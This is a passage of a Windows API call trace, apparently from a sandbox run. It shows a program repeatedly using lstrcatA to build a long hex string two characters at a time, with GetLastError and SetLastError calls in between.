	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37", lpString2="f2" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2", lpString2="29" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229", lpString2="02" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f22902") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f22902"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f22902", lpString2="82" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2290282") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2290282"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f2290282", lpString2="14" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214", lpString2="d5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d5"
	[0061.646] GetLastError () returned 0x0
	[0061.646] SetLastError (dwErrCode=0x0) 
	[0061.646] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d5", lpString2="8f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58f"
	[0061.646] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58f", lpString2="ce" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce", lpString2="36" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce36") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce36"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce36", lpString2="23" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623", lpString2="df" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623df") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623df"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623df", lpString2="e0" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe0") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe0"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe0", lpString2="3a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03a"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03a", lpString2="d0" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad0") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad0"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad0", lpString2="41" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041", lpString2="a8" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a8") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a8"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a8", lpString2="36" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836", lpString2="74" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a83674") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a83674"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a83674", lpString2="6f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746f"
	[0061.647] GetLastError () returned 0x0
	[0061.647] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746f", lpString2="f6" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff6") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff6"
	[0061.647] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff6", lpString2="8f" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68f") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68f"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68f", lpString2="eb" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb", lpString2="9e" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e", lpString2="3d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d", lpString2="7a" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a", lpString2="9d" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9d") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9d"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9d", lpString2="af" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daf") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daf"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daf", lpString2="fe" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffe") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffe"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffe", lpString2="da" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda", lpString2="13" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13", lpString2="d5" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d5") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d5"
	[0061.648] GetLastError () returned 0x0
	[0061.648] lstrcatA (in: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d5", lpString2="92" | out: lpString1="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592") returned="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592"
	[0061.648] GetLastError () returned 0x0
